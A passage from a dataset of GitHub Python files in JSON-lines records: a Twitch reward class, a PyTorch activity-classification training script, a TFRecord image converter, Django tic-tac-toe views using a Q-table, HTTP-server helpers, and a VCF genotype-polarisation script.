number of redemptions redeemed during the current live stream\n cooldown_expires_at (int): Timestamp of the cooldown expiration\n \"\"\"\n\n self.broadcaster_name=broadcaster_name\n self.broadcaster_id=broadcaster_id\n self.id=id\n self.image=image\n self.background_color=background_color\n self.is_enabled=is_enabled\n self.cost=cost\n self.title=title\n self.prompt=prompt\n self.is_user_input_required=is_user_input_required\n self.max_per_stream_setting=max_per_stream_setting\n self.max_per_user_per_stream_setting=max_per_user_per_stream_setting\n self.global_cooldown_setting=global_cooldown_setting\n self.is_paused=is_paused\n self.is_in_stock=is_in_stock\n self.defaut_image=default_image\n self.should_redemptions_skip_request_queue=should_redemptions_skip_request_queue\n self.redemptions_redeemed_current_stream=redemptions_redeemed_current_stream\n self.cooldown_expires_at=cooldown_expires_at","repo_name":"DaCasBe/TwitchPy","sub_path":"twitchpy/reward.py","file_name":"reward.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"3"} +{"seq_id":"73700088697","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm # Displays a progress bar\n\nimport torch\nfrom torch import nn\nfrom torch import optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms\nfrom torch.utils.data import Dataset, Subset, DataLoader, random_split, TensorDataset, ConcatDataset\nimport pickle\nfrom sklearn.model_selection import KFold, StratifiedKFold,ShuffleSplit ,train_test_split\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom PIL import Image\nimport copy\nimport os\nimport random\nimport sys,os\nsys.path.append('.')\nfrom utils import *\nfrom networks import *\nfrom dataset import EnableDataset\nfrom itertools import combinations\nimport argparse\n\n\ndef run_classifier(mode='bilateral',classifier='CNN',sensor=[\"imu\",\"emg\",\"goin\"],NN_model=None):\n\t\"\"\"\n\tMain function runs training and testing of neural network models (LIR-Net, RESNET18).\n\tThis code runs subject independent configuration. \n\n\tInput: argument passes through argparse. Each argument is described\n\tin the --help of each arguments.\n\tOutput: No return, but generates a .txt file results of testing\n\tincluding accuracy of the models.\n\t\"\"\"\n\t########## PRAMETER SETTINGS ########################\n\tBATCH_SIZE = args.batch_size\n\tLEARNING_RATE = args.lr\n\tWEIGHT_DECAY = args.weight_decay\n\tNUMB_CLASS = 5\n\tNUB_EPOCH= args.num_epoch\n\tnumfolds = args.num_folds\n\tBAND=args.band\n\tHOP=args.hop\n\n\tSENSOR= args.sensors\n\tMODE = args.laterality\n\tCLASSIFIER = args.classifiers\n\tNN_model = args.nn_architecture\n\tMODE_SPECIFIC_BOOL= args.mode_specific\n\t############################################\n\n\tsensor_str='_'.join(SENSOR)\n\n\tMODEL_NAME = './models/Freq-Encoding/bestmodel'+ \\\n\t \t\t'_BATCH_SIZE'+str(BATCH_SIZE)+'_LR'+str(LEARNING_RATE)+'_WD'+str(WEIGHT_DECAY)+'_EPOCH'+str(NUB_EPOCH)+'_BAND'+str(BAND)+'_HOP'+str(HOP)+'_subjects.pth'\n\n\tif MODE_SPECIFIC_BOOL:\n\t\tSAVE_NAME= './checkpoints/'+CLASSIFIER+'/'+CLASSIFIER + '_mode_specific'+ '_'+MODE+'_'+sensor_str+'_BAND'+str(BAND)+'_HOP'+str(HOP)+'_subjects.pkl'\n\telse:\n\t\tSAVE_NAME= './checkpoints/'+CLASSIFIER+'/'+CLASSIFIER +'_'+MODE+'_'+sensor_str+'_BAND'+str(BAND)+'_HOP'+str(HOP)+'_subjects.pkl'\n\n\tif MODE_SPECIFIC_BOOL:\n\t\tRESULT_NAME= './results/'+CLASSIFIER+'/'+CLASSIFIER + NN_model+'_mode_specific'+'_'+MODE+'_'+sensor_str+'_BATCH_SIZE'+str(BATCH_SIZE)+'_LR'+str(LEARNING_RATE)+'_WD'+str(WEIGHT_DECAY)+'_EPOCH'+str(NUB_EPOCH)+'_BAND'+str(BAND)+'_HOP'+str(HOP)+'_subjects_accuracy.txt'\n\telse:\n\t\tRESULT_NAME= './results/'+CLASSIFIER+'/'+CLASSIFIER + NN_model+'_'+MODE+'_'+sensor_str+'_BATCH_SIZE'+str(BATCH_SIZE)+'_LR'+str(LEARNING_RATE)+'_WD'+str(WEIGHT_DECAY)+'_EPOCH'+str(NUB_EPOCH)+'_BAND'+str(BAND)+'_HOP'+str(HOP)+'_subjects_accuracy.txt'\n\n\n\tsubjects = ['156','185','186','188','189','190', '191', '192', '193', '194']\n\n\tspectrogramTime = 0.0\n\n\n\t# Load the dataset and train, val, test splits\n\tprint(\"Loading datasets...\")\n\tif args.data_saving:\n\t\tsubject_data = []\n\t\tfor subject in subjects:\n\t\t\tsubject_data.append(EnableDataset(subject_list= [subject],data_range=(1, 51),bands=BAND,hop_length=HOP,model_type=CLASSIFIER,sensors=SENSOR,mode=MODE,mode_specific = MODE_SPECIFIC_BOOL))\n\t\t\tspectrogramTime += subject_data[-1].avgSpectrogramTime\n\t\t\tprint(\"subject ID\",subject, \"loaded\")\n\t\tsave_object(subject_data,SAVE_NAME)\n\telse:\n\t\twith open(SAVE_NAME, 'rb') as input:\n\t\t subject_data = pickle.load(input)\n\n\tspectrogramTime = spectrogramTime / len(subjects)\n\n\tIN_CHANNELS=subject_data[0].in_channels\n\n\tdevice = \"cuda\" if torch.cuda.is_available() else \"cpu\" # Configure device\n\tprint('GPU USED?',torch.cuda.is_available())\n\n\t# Choose NN models to train/test on.\n\tif MODE_SPECIFIC_BOOL:\n\t\tmodel = Network_modespecific(IN_CHANNELS,NUMB_CLASS)\n\telse:\n\t\tif NN_model == 'RESNET18':\n\t\t\tmodel = torch.hub.load('pytorch/vision:v0.4.2', 'resnet18', pretrained=True) # use resnet\n\t\t\tnum_ftrs = model.fc.in_features\n\t\t\ttop_layer= nn.Conv2d(IN_CHANNELS, 3, kernel_size=5, stride=1, padding=2)\n\t\t\tmodel.fc = nn.Linear(num_ftrs, NUMB_CLASS)\n\t\t\tmodel = nn.Sequential(top_layer,model)\n\t\telse:\n\t\t\tmodel = Network(IN_CHANNELS,NUMB_CLASS)\n\n\t# set NN model parameters\n\tmodel = model.to(device)\n\n\tcriterion = nn.CrossEntropyLoss()\n\toptimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE, weight_decay=WEIGHT_DECAY)\n\tnum_epoch = NUB_EPOCH\n\n\t#initialize model parameters\n\tinit_state = copy.deepcopy(model.state_dict())\n\tinit_state_opt = copy.deepcopy(optimizer.state_dict())\n\n\taccuracies =[]\n\tss_accuracies=[]\n\ttr_accuracies=[]\n\tclass_accs = [0] * NUMB_CLASS\n\tsubject_numb = []\n\tclass_acc_list=[]\n\n\tskf = KFold(n_splits = len(subject_data), shuffle = True)\n\ti = 0\n\n\ttrain_class=trainclass(model,optimizer,args.progressbar,device,criterion,MODEL_NAME,args)\n\n\ttests=[]\n\tpreds=[]\n\tinferenceTime = 0.0\n\n\t# main training/testing loop\n\tfor train_index, test_index in skf.split(subject_data):\n\t\t# k-fold validation\n\t\tprint('training subject No.:', train_index, ' Testing subject No.:',test_index)\n\n\t\tmodel.load_state_dict(init_state)\n\t\toptimizer.load_state_dict(init_state_opt)\n\n\t\ttrain_set = [subject_data[i] for i in train_index]\n\t\ttest_set = [subject_data[i] for i in test_index]\n\t\tBIO_train = torch.utils.data.ConcatDataset(train_set)\n\t\twholeloader = DataLoader(BIO_train, batch_size=len(BIO_train))\n\n\t\tif MODE_SPECIFIC_BOOL:\n\t\t\tfor batch, label, dtype, prevlabel in tqdm(wholeloader,disable=args.progressbar):\n\t\t\t\tX_train = batch\n\t\t\t\ty_train = label\n\t\t\t\ttypes_train = dtype\n\t\t\t\tprevlabel_train = prevlabel\t\t\t\n\t\telse:\n\t\t\tfor batch, label, dtype in tqdm(wholeloader,disable=args.progressbar):\n\t\t\t\tX_train = batch\n\t\t\t\ty_train = label\n\t\t\t\ttypes_train = dtype\n\t\t\n\t\tBIO_train = None\n\t\ttrain_set = None\n\n\t\tBIO_test = torch.utils.data.ConcatDataset(test_set)\n\t\twholeloader = DataLoader(BIO_test, batch_size=len(BIO_test))\n\n\t\tif MODE_SPECIFIC_BOOL:\n\t\t\tfor batch, label, dtype, prevlabel in tqdm(wholeloader,disable=args.progressbar):\n\t\t\t\tX_test = batch\n\t\t\t\ty_test = label\n\t\t\t\ttypes_test = dtype\n\t\t\t\tprevlabel_test = prevlabel\n\t\telse:\n\t\t\tfor batch, label, dtype in tqdm(wholeloader,disable=args.progressbar):\n\t\t\t\tX_test = batch\n\t\t\t\ty_test = label\n\t\t\t\ttypes_test = dtype\n\n\t\tBIO_test = None\n\t\ttest_set = None\n\n\t\tif MODE_SPECIFIC_BOOL:\n\t\t\tonehot_train, onehot_test = prevlabel_train, prevlabel_test\n\t\t\ttrain_dataset = TensorDataset( X_train, y_train, types_train,onehot_train)\n\t\t\ttest_dataset = TensorDataset( X_test, y_test, types_test,onehot_test)\n\t\telse:\n\t\t\ttrain_dataset = TensorDataset( X_train, y_train, types_train)\n\t\t\ttest_dataset = TensorDataset( X_test, y_test, types_test)\n\n\t\ttrainloader = DataLoader(train_dataset, batch_size=BATCH_SIZE, shuffle=True)\n\t\ttestloader = DataLoader(test_dataset, batch_size=BATCH_SIZE)\n\n\t\tprint(\"######################Fold:{}#####################\".format(i+1))\n\n\t\ttrain_class.train(trainloader,num_epoch)\n\n\t\tmodel.load_state_dict(torch.load(MODEL_NAME))\n\n\t\tprint(\"Evaluate on test set\")\n\t\taccs,ss_accs,tr_accs,pred,test,class_acc,inf_time=train_class.evaluate(testloader)\n\n\t\t# append results\n\t\taccuracies.append(accs)\n\t\tss_accuracies.append(ss_accs)\n\t\ttr_accuracies.append(tr_accs)\n\t\tpreds.extend(pred)\n\t\ttests.extend(test)\n\t\tclass_acc_list.append(class_acc)\n\t\tinferenceTime += inf_time\n\t\tsubject_numb.append(test_index[0])\n\n\t\tdel test_dataset, train_dataset, trainloader, testloader\n\n\t\ti +=1\n\n\t# Write results to text files\n\tprint('writing...')\n\twith open(RESULT_NAME, 'w') as f:\n\t\tf.write('subject_numb ')\n\t\tfor item in subject_numb:\n\t\t\tf.write(\"%s \" % item)\n\t\tf.write('\\n')\n\t\tf.write('total ')\n\t\tfor item in accuracies:\n\t\t\tf.write(\"%s \" % item)\n\t\tf.write('\\n')\n\t\tf.write('steadystate ')\n\t\tfor item in ss_accuracies:\n\t\t\tf.write(\"%s \" % item)\n\t\tf.write('\\n')\n\t\tf.write('transitional ')\n\t\tfor item in tr_accuracies:\n\t\t\tf.write(\"%s \" % item)\n\t\tfor j in range(0,5):\n\t\t\tf.write('\\n')\n\t\t\tf.write('class {} '.format(j))\n\t\t\tfor m in range(0,numfolds):\n\t\t\t\tf.write(\"%s \" % class_acc_list[m][j])\n\t\tf.write('\\n')\n\t\tif args.data_saving:\n\t\t\tf.write('spectrogram time %s' % spectrogramTime)\n\t\t\tf.write('\\n')\n\t\tf.write('inference time %s' % inferenceTime)\n\n\tf.close()\n\n\tconfusion= confusion_matrix(tests, preds)\n\tprint(confusion)\n\tprint(classification_report(tests, preds, digits=3))\n\n\twith open('./results/'+args.classifiers+'_'+sensor_str+'_'+args.laterality+'_'+'confusion_subjects.txt', 'w') as f:\n\t\tfor items in confusion:\n\t\t\tfor item in items:\n\t\t\t\tf.write(\"%s \" % item)\n\n\t\t\tf.write('\\n')\n\n\tf.close()\n\tprint('result saved in', RESULT_NAME)\n\n\n\"\"\"This block parses command line arguments and runs the main code\"\"\"\np = argparse.ArgumentParser()\np.add_argument(\"--classifiers\", default=\"CNN\", help=\"classifier types: CNN\")\np.add_argument(\"--sensors\", nargs=\"+\", default=[\"imu\",\"emg\",\"gon\"], help=\"select combinations of sensor modality types: img, emg, gonio\")\np.add_argument(\"--all_comb\", dest='all_comb', action='store_true', help=\"loop through all combinations\")\np.add_argument(\"--laterality\", default='bilateral', type=str, help=\"select laterality types, bilateral, ipsilateral, contralateral\")\np.add_argument(\"--nn_architecture\", default='LIRNET',type=str,help=\"select nn architectures: LIRNET, RESNET\")\np.add_argument(\"--mode_specific\", action='store_true', help=\"mode specific configuration\")\n\np.add_argument(\"--batch_size\", default=32, type=int, help=\"batch size\")\np.add_argument(\"--lr\", default=1e-5, type=float, help=\"learning rate\")\np.add_argument(\"--weight_decay\", default=1e-3, type=float, help=\"weight decay\")\np.add_argument(\"--num_epoch\", default=200, type=int, help=\"number of epochs\")\np.add_argument(\"--num_folds\", default=10, type=int, help=\"number of folds for cross validation\")\np.add_argument(\"--band\", default=10, type=int, help=\"band length for spectrogram\")\np.add_argument(\"--hop\", default=10, type=int, help=\"hop length for spectrogram\")\n\np.add_argument(\"--show_progress\", dest='progressbar', action='store_false', help=\"show tqdm progress bar\")\np.add_argument(\"--data_skip\", dest='data_saving', action='store_false', help=\"skip the dataset saving/loading\")\np.set_defaults(mode_specific=False)\np.set_defaults(data_saving=True)\np.set_defaults(progressbar=True)\np.set_defaults(val_on=False)\n\nargs = p.parse_args()\n\ncomb_number = len(args.sensors)\n\nfor i in range(comb_number,4):\n\tprint('Number of sensors range:' , i ,'to',len(args.sensors))\n\tfor combo in combinations(args.sensors,i):\n\t\tsensor = [item for item in combo]\n\t\tprint(\"Classifer type: \", args.classifiers)\n\t\tprint(\"Sensor modality: \", sensor)\n\t\tprint(\"Sensor laterality: \", args.laterality)\n\t\tif args.mode_specific:\n\t\t\tprint(\"Classifier config: mode specific\")\n\t\t\tif args.nn_architecture == \"RESNET18\":\n\t\t\t\tprint(\"no modespecific available for RESNET18, changing to LIRNET..\")\n\t\t\t\targs.nn_architecture = \"LIRNET\"\n\t\telse: \n\t\t\tprint(\"Classifier config: generic\")\n\t\tif args.classifiers == \"CNN\":\n\t\t\tprint(\"NN architecture: \",args.nn_architecture)\n\t\tprint(\"Data Divison: subject independent splits\")\n\n\t\trun_classifier(args)\n\n\n","repo_name":"unghee/Human-Activity-Classification","sub_path":"Freq-Encoding/freq_encoding_train_loo.py","file_name":"freq_encoding_train_loo.py","file_ext":"py","file_size_in_byte":10898,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"37070632079","text":"import numpy as np\nimport glob\nimport os\nimport argparse\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\n\ndef _bytes_feature(value):\n \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n # If the value is an eager tensor BytesList won't unpack a string from an EagerTensor.\n if isinstance(value, type(tf.constant(0))):\n value = value.numpy()\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _float_feature(value):\n \"\"\"Returns a float_list from a float / double.\"\"\"\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\n\ndef _int64_feature(value):\n \"\"\"Returns an int64_list from a bool / enum / int / uint.\"\"\"\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef serialize_example(image, label, image_shape):\n feature = {\n 'image': _bytes_feature(image),\n 'label': _int64_feature(label),\n 'height': _int64_feature(image_shape[0]),\n 'width': _int64_feature(image_shape[1]),\n 'depth': _int64_feature(image_shape[2]),\n }\n\n # Create a Features message using tf.train.Example.\n example_proto = tf.train.Example(features=tf.train.Features(feature=feature))\n return example_proto.SerializeToString()\n\n\ndef write_tfrecord(_tfrecord_path, _image_paths, _labels):\n\n with tf.io.TFRecordWriter(_tfrecord_path) as writer:\n\n for image_path, label in zip(_image_paths, _labels):\n print(f\"wirting image {image_path} in tf record\")\n img = tf.keras.preprocessing.image.load_img(image_path)\n img_array = tf.keras.preprocessing.image.img_to_array(img)\n\n img_array = tf.keras.preprocessing.image.random_zoom(img_array, (0.5, 0.5),\n row_axis=0,\n col_axis=1,\n channel_axis=2)\n\n img_bytes = tf.io.serialize_tensor(img_array)\n image_shape = img_array.shape\n\n example = serialize_example(img_bytes, label, image_shape)\n writer.write(example)\n\n\ndef read_tfrecord(serialized_example):\n feature_description = {\n 'image': tf.io.FixedLenFeature((), tf.string),\n 'label': tf.io.FixedLenFeature((), tf.int64),\n 'height': tf.io.FixedLenFeature((), tf.int64),\n 'width': tf.io.FixedLenFeature((), tf.int64),\n 'depth': tf.io.FixedLenFeature((), tf.int64)\n }\n\n example = tf.io.parse_single_example(serialized_example, feature_description)\n\n image = tf.io.parse_tensor(example['image'], out_type=float)\n image_shape = [example['height'], example['width'], example['depth']]\n image = tf.reshape(image, image_shape)\n\n return image, example['label']\n\n\ndef main():\n\n # parse the input argument\n parser = argparse.ArgumentParser(description=\"Parsing input argument\")\n parser.add_argument(\"-i\", \"--input_dir\", required=True, help=\"input argument of images\")\n parser.add_argument(\"-o\", \"--output_dir\", required=False, default=\"tf_record\",\n help=\"output directory for saving tfrecord file\")\n args = parser.parse_args()\n\n data_dir = args.input_dir\n image_paths = glob.glob(data_dir + '/*.jpg')\n\n # make some labels\n num_image_category = len(image_paths)//2\n labels = np.append(np.zeros(num_image_category, dtype=int), np.ones(num_image_category, dtype=int))\n\n # make a directory to store tfrecord files\n if not os.path.isdir(args.output_dir):\n os.makedirs(args.output_dir)\n\n # make tfrecord files\n tf_record_filename = os.path.join(args.output_dir, \"tfrecord_data.tfrecords\")\n write_tfrecord(_tfrecord_path=tf_record_filename,\n _image_paths=image_paths,\n _labels=labels)\n\n # read tfrecord files\n tfrecord_dataset = tf.data.TFRecordDataset(tf_record_filename)\n parsed_dataset = tfrecord_dataset.map(read_tfrecord)\n\n # some some sample images loaded from tfrecord\n plt.figure(figsize=(10, 10))\n for i, data in enumerate(parsed_dataset.take(9)):\n image = tf.keras.preprocessing.image.array_to_img(data[0])\n plt.subplot(3, 3, i + 1)\n plt.imshow(image)\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Masoud-Ghodrati/experimentation","sub_path":"tf_record_example/convert_images_tfrecord.py","file_name":"convert_images_tfrecord.py","file_ext":"py","file_size_in_byte":4317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12664496280","text":"from django.shortcuts import render\nimport os\nimport numpy as np\nimport random as random\nimport pickle\nfrom django.http import JsonResponse\n\n\npolicy_1_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'policy_Q_1')\npolicy_1 = pickle.load(open(policy_1_path, \"rb\"))\npolicy_2_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'policy_Q_2')\npolicy_2 = pickle.load(open(policy_2_path, \"rb\"))\n\n\ndef home(request): \n return render(request, 'index.html')\n\ndef get_available_squares(board):\n available_squares = []\n for row in range(3):\n for column in range(3):\n if board[row][column] == 0:\n available_squares.append((row,column))\n return available_squares\n\ndef get_hash(board):\n board_hash = str(board.astype(int).reshape(3 * 3))\n return board_hash\n\ndef chooseAction_QTable(current_board, start_player):\n policy = None\n if (start_player=='2'):\n print('computer starts')\n policy = policy_1\n else:\n print('human starts')\n policy = policy_2\n exp_rate = 0.3\n positions = get_available_squares(current_board)\n current_state = get_hash(current_board)\n best_action = []\n best_action_value = -np.Inf\n for action in positions:\n Q_s_a = policy[current_state][action]\n if Q_s_a == best_action_value:\n best_action.append(action)\n elif Q_s_a > best_action_value:\n best_action = [action]\n best_action_value = Q_s_a\n best_action = random.choice(best_action)\n \n n_actions =len(positions)\n p = np.full(n_actions,exp_rate/n_actions)\n p[positions.index(best_action)]+= 1 - exp_rate\n \n return positions[np.random.choice(len(positions),p=p)]\n \n\n# our result page view\ndef get_tic_tac_toe_action(request):\n print(request)\n observation = request.GET.get('board')\n start_player = request.GET.get('start_player')\n observation = observation[1:-1]\n parsed = [-1 if ob=='2' else int(ob) for ob in observation]\n optimalAction = chooseAction_QTable(np.array(parsed).reshape((3,3)), start_player)\n print(optimalAction)\n return JsonResponse({\"action\":optimalAction}, safe=False)","repo_name":"rupampatir/mas_backend","sub_path":"mas_backend/mas_backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16111580550","text":"import json\n\ndef extract_route(string):\n return string.split()[1][1:]\n\ndef read_file(path):\n strPath = str(path)\n if strPath.split(\".\") in [\"txt\", \"html\", \"css\", \"js\"]:\n with open(path, \"r\") as file:\n conteudo = file.read()\n else:\n with open(path, \"rb\") as file:\n conteudo = file.read()\n\n return conteudo\n\ndef load_data(file):\n with open(f\"data/{file}\", \"r\") as file:\n conteudo = json.load(file)\n return conteudo\n\ndef load_template(file):\n with open(f\"templates/{file}\", \"r\") as file:\n conteudo = file.read()\n return conteudo\n\ndef notes_plus(new):\n data = load_data(\"notes.json\")\n data.append(new)\n newData = json.dumps(data)\n with open(f\"data/notes.json\", \"w\") as file:\n file.write(newData)\n\ndef build_response(body='', code=200, reason='OK', headers=''):\n if headers:\n return (f'HTTP/1.1 {code} {reason}\\n{headers}\\n\\n' + body).encode()\n else:\n return (f'HTTP/1.1 {code} {reason}\\n\\n' + body).encode() \n","repo_name":"RodrigoGCoelhoo/Projeto-1A-TecWeb","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28627690562","text":"import argparse as ap\nimport difflib\nfrom scipy import stats\nimport gzip\nimport io\n\n#get samples from index\n\n\n#polarize to ancestral or major allele freq \ndef get_polarized_genotypes(line, index1, index2, index_out):\n\t\n###############\n\tselected_samples_out = [line[i] for i in index_out]\n\tsamples_genotypes_out = []\n\tfor sample in selected_samples_out:\n\t\tsample = sample.split(':')[0]\n\t\tif sample == '.':\n\t\t\tsamples_genotypes_out.append('.')\n\t\t\tsamples_genotypes_out.append('.')\n\t\telse:\n\t\t\tsample = sample.split('/')\n\t\t\tif len(sample) == 1:\n\t\t\t\tsamples_genotypes_out.append(sample[0])\n\t\t\t\tsamples_genotypes_out.append(sample[0])\n\t\t\telse:\n\t\t\t\tsamples_genotypes_out.append(sample[0])\n\t\t\t\tsamples_genotypes_out.append(sample[1])\n\n###############\n\tselected_samples1 = [line[i] for i in index1]\n\tsamples_genotypes1 = []\n\tfor sample in selected_samples1:\n\t\tsample = sample.split(':')[0]\n\t\tif sample == '.':\n\t\t\tsamples_genotypes1.append('.')\n\t\t\tsamples_genotypes1.append('.')\n\t\telse:\n\t\t\tsample = sample.split('/')\n\t\t\tif len(sample) == 1:\n\t\t\t\tsamples_genotypes1.append(sample[0])\n\t\t\t\tsamples_genotypes1.append(sample[0])\n\t\t\telse:\n\t\t\t\tsamples_genotypes1.append(sample[0])\n\t\t\t\tsamples_genotypes1.append(sample[1])\n\n###############\n\tselected_samples2 = [line[i] for i in index2]\n\tsamples_genotypes2 = []\n\tfor sample in selected_samples2:\n\t\tsample = sample.split(':')[0]\n\t\tif sample == '.':\n\t\t\tsamples_genotypes2.append('.')\n\t\t\tsamples_genotypes2.append('.')\n\t\telse:\n\t\t\tsample = sample.split('/')\n\t\t\tif len(sample) == 1:\n\t\t\t\tsamples_genotypes2.append(sample[0])\n\t\t\t\tsamples_genotypes2.append(sample[0])\n\t\t\telse:\n\t\t\t\tsamples_genotypes2.append(sample[0])\n\t\t\t\tsamples_genotypes2.append(sample[1])\n\n\tout_geno = [int(i) for i in samples_genotypes_out if i != '.']\n\tp1_geno = [int(i) for i in samples_genotypes1 if i != '.']\n\tp2_geno = [int(i) for i in samples_genotypes2 if i != '.']\n\tp12_geno = p1_geno+p2_geno\n\n\ttotal_alleles = p1_geno+p2_geno+out_geno\n\n\t###Version 27/03/2021 - More precise when there is no info for the outgroup\n\t\n\tif len(set(out_geno)) == 0 and len(set(p1_geno+p2_geno)) == 0: #all missing\n\t\tref_allele = 9\n\t\tflag = 'allMiss'\n\n\telif len(set(p1_geno+p2_geno)) == 0: #ingroup species missing\n\t\tref_allele = int(stats.mode(out_geno)[0])\n\t\tflag = 'inMiss'\n\n\telif len(set(out_geno)) == 0 and len(set(p1_geno+p2_geno)) > 0: #outgroup is useless\n\t\tif len(set(p1_geno)) == 0:\n\t\t\tref_allele = int(stats.mode(p2_geno)[0]) #not really relevant as the target pop1 will be made of missing data\n\t\t\tflag = 'in2Fold'\n\t\telif len(set(p2_geno)) == 0: #also p2 is useless\n\t\t\tref_allele = int(stats.mode(p1_geno)[0])\n\t\t\tflag = 'in1Fold'\n\t\telif len(set(p1_geno)) == 1 and len(set(p2_geno)) == 1: \n\t\t\tref_allele = p1_geno[0] #pop1 allele as reference = conservative. See also below\n\t\t\tflag = 'InFixOutMiss'\n\t\telif len(set(p1_geno)) == 2 and len(set(p2_geno)) == 1:\n\t\t\tref_allele = p2_geno[0]\n\t\t\tflag = 'unfoldOutMiss'\n\t\telif len(set(p1_geno)) == 1 and len(set(p2_geno)) == 2:\n\t\t\tref_allele = p1_geno[0]\n\t\t\tflag = 'unfoldOutMiss'\n\t\telif len(set(p1_geno)) == 2 and len(set(p2_geno)) == 2:\n\t\t\tref_allele = int(stats.mode(p1_geno+p2_geno)[0]) ### not random! Will always be 0 in case of 50/50\n\t\t\tflag = 'inFold'\n\n\telif len(set(out_geno)) == 1 and len(set(p1_geno+p2_geno)) == 1: \n\t\tref_allele = p12_geno[0] #pop1 allele as reference = conservative.\n\t\tflag = 'allFix'\n\telif len(set(out_geno)) == 1 and len(set(p1_geno+p2_geno)) == 2:\n\t\tref_allele = out_geno[0]\n\t\tflag = 'unfolded'\n\n\telif len(set(out_geno)) == 2 and len(set(p1_geno+p2_geno)) == 1:\n\t\tref_allele = p12_geno[0]\n\t\tflag = 'InFixAnc'\n\telif len(set(out_geno)) == 2 and len(set(p1_geno+p2_geno)) == 2:\n\t\tref_allele = int(stats.mode(p1_geno+p2_geno+out_geno)[0]) ### not random! Will always be 0 in case of 50/50\n\t\tflag = 'allFold'\n\n\telse:\n\t\tref_allele = 9\n\t\tprint('WARNING: Non biallelic locus in the vcf. Replaced with missing value for all samples')\n\t\tprint(p1_geno, p2_geno, out_geno)\n\t\tflag = 'triall'\n\n\tp1_geno_polarized = []\n\tif ref_allele == 0:\n\t\tfor i in samples_genotypes1:\n\t\t\tif i == '.':\n\t\t\t\tp1_geno_polarized.append(9)\n\t\t\telif int(i) == 0:\n\t\t\t\tp1_geno_polarized.append(0)\n\t\t\telif int(i) == 1:\n\t\t\t\tp1_geno_polarized.append(1)\n\t\t\telif int(i) == 2:\n\t\t\t\tp1_geno_polarized.append(2)###just in case\n\t\t\telif int(i) == 3:\n\t\t\t\tp1_geno_polarized.append(3)###just in case\n\telif ref_allele == 1:\n\t\tfor i in samples_genotypes1:\n\t\t\tif i == '.':\n\t\t\t\tp1_geno_polarized.append(9)\n\t\t\telif int(i) == 0:\n\t\t\t\tp1_geno_polarized.append(1)\n\t\t\telif int(i) == 1:\n\t\t\t\tp1_geno_polarized.append(0)\n\t\t\telif int(i) == 2:\n\t\t\t\tp1_geno_polarized.append(2)###just in case\n\t\t\telif int(i) == 3:\n\t\t\t\tp1_geno_polarized.append(3)###just in case\n\telse:\n\t\tfor i in samples_genotypes1:\n\t\t\tp1_geno_polarized.append(9)\n\n\tp2_geno_polarized = []\n\tif ref_allele == 0:\n\t\tfor i in samples_genotypes2:\n\t\t\tif i == '.':\n\t\t\t\tp2_geno_polarized.append(9)\n\t\t\telif int(i) == 0:\n\t\t\t\tp2_geno_polarized.append(0)\n\t\t\telif int(i) == 1:\n\t\t\t\tp2_geno_polarized.append(1)\n\t\t\telif int(i) == 2:\n\t\t\t\tp2_geno_polarized.append(2)###just in case\n\t\t\telif int(i) == 3:\n\t\t\t\tp2_geno_polarized.append(3)###just in case\n\telif ref_allele == 1:\n\t\tfor i in samples_genotypes2:\n\t\t\tif i == '.':\n\t\t\t\tp2_geno_polarized.append(9)\n\t\t\telif int(i) == 0:\n\t\t\t\tp2_geno_polarized.append(1)\n\t\t\telif int(i) == 1:\n\t\t\t\tp2_geno_polarized.append(0)\n\t\t\telif int(i) == 2:\n\t\t\t\tp2_geno_polarized.append(2)###just in case\n\t\t\telif int(i) == 3:\n\t\t\t\tp2_geno_polarized.append(3)###just in case\n\telse:\n\t\tfor i in samples_genotypes2:\n\t\t\tp2_geno_polarized.append(9)\n\n\tout_geno_polarized = []\n\tif ref_allele == 0:\n\t\tfor i in samples_genotypes_out:\n\t\t\tif i == '.':\n\t\t\t\tout_geno_polarized.append(9)\n\t\t\telif int(i) == 0:\n\t\t\t\tout_geno_polarized.append(0)\n\t\t\telif int(i) == 1:\n\t\t\t\tout_geno_polarized.append(1)\n\t\t\telif int(i) == 2:\n\t\t\t\tout_geno_polarized.append(2)###just in case\n\t\t\telif int(i) == 3:\n\t\t\t\tout_geno_polarized.append(3)###just in case\n\telif ref_allele == 1:\n\t\tfor i in samples_genotypes_out:\n\t\t\tif i == '.':\n\t\t\t\tout_geno_polarized.append(9)\n\t\t\telif int(i) == 0:\n\t\t\t\tout_geno_polarized.append(1)\n\t\t\telif int(i) == 1:\n\t\t\t\tout_geno_polarized.append(0)\n\t\t\telif int(i) == 2:\n\t\t\t\tout_geno_polarized.append(2)###just in case\n\t\t\telif int(i) == 3:\n\t\t\t\tout_geno_polarized.append(3)###just in case\n\telse:\n\t\tfor i in samples_genotypes_out:\n\t\t\tout_geno_polarized.append(9)\n\n\treturn p1_geno_polarized, ref_allele, total_alleles, p2_geno_polarized, out_geno_polarized, flag\n\n\ndef replace_all(text):\n\ttable = {'0/0':'1|1','0/1':'1|0','1/0':'0|1','1/1':'0|0'}\n\tfor i, j in table.items():\n\t\ttext = text.replace(i, j)\n\treturn text\n\n\nparser = ap.ArgumentParser()\nparser.add_argument('-a', '--ann', help='An annotated gzipped vcf file', required=True, type=str)\nparser.add_argument('-p1', '--popin1', help='Provide txt file with one individual per line', required=True, type=str)\nparser.add_argument('-p2', '--popin2', help='Provide txt file with one 